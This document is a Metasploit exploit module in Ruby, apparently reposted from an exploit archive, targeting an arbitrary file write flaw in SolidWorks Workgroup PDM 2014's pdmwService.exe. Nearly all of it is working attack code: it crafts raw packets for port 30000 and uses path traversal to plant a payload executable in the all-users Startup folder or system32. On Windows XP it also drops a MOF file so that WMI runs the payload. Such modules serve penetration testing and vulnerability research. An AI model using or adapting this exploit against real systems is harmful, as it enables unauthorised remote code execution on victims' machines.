SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',  
'Description' => %q{  
This module exploits a remote arbitrary file write vulnerability in  
SolidWorks Workgroup PDM 2014 SP2 and prior.  
  
For targets running Windows Vista or newer the payload is written to the  
startup folder for all users and executed upon next user logon.  
  
For targets before Windows Vista code execution can be achieved by first  
uploading the payload as an exe file, and then upload another mof file,  
which schedules WMI to execute the uploaded payload.  
  
This module has been tested successfully on SolidWorks Workgroup PDM  
2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC  
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit  
],  
'References' =>  
[  
['EDB', '31831'],  
['OSVDB', '103671']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested on:  
# - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)  
# - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)  
['Automatic', { 'auto' => true } ], # both  
['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}],  
['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Feb 22 2014',  
'DefaultTarget' => 0))  
  
register_options([  
OptInt.new('DEPTH', [true, 'Traversal depth', 10]),  
Opt::RPORT(30000)  
], self.class)  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
#  
# Check  
#  
def check  
# op code  
req = "\xD0\x07\x00\x00"  
# filename length  
req << "\x00\x00\x00\x00"  
# data length  
req << "\x00\x00\x00\x00"  
connect  
sock.put req  
res = sock.get_once  
disconnect  
if !res  
vprint_error "#{peer} - Connection failed."  
Exploit::CheckCode::Unknown  
elsif res == "\x00\x00\x00\x00"  
vprint_status "#{peer} - Received reply (#{res.length} bytes)"  
Exploit::CheckCode::Detected  
else  
vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)"  
Exploit::CheckCode::Safe  
end  
end  
  
#  
# Send a file  
#  
def upload(fname, data)  
# every character in the filename must be followed by 0x00  
fname = fname.scan(/./).join("\x00") + "\x00"  
# op code  
req = "\xD0\x07\x00\x00"  
# filename length  
req << "#{[fname.length].pack('l')}"  
# file name  
req << "#{fname}"  
# data length  
req << "#{[data.length].pack('l')}"  
# data  
req << "#{data}"  
connect  
sock.put req  
res = sock.get_once  
disconnect  
if !res  
fail_with(Failure::Unknown, "#{peer} - Connection failed.")  
elsif res == "\x00\x00\x00\x00"  
print_status "#{peer} - Received reply (#{res.length} bytes)"  
else  
print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"  
end  
end  
  
#  
# Exploit  
#  
def exploit  
depth = '..\\' * datastore['DEPTH']  
exe = generate_payload_exe  
exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"  
if target.name =~ /Automatic/ or target.name =~ /Vista/  
print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)")  
upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}", exe)  
end  
if target.name =~ /Automatic/ or target.name =~ /XP/  
print_status("#{peer} - Sending EXE (#{exe.length} bytes)")  
upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe)  
mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"  
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))  
print_status("#{peer} - Sending MOF (#{mof.length} bytes)")  
upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)  
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")  
end  
register_file_for_cleanup("#{::File.basename(exe_name)}")  
end  
end  
`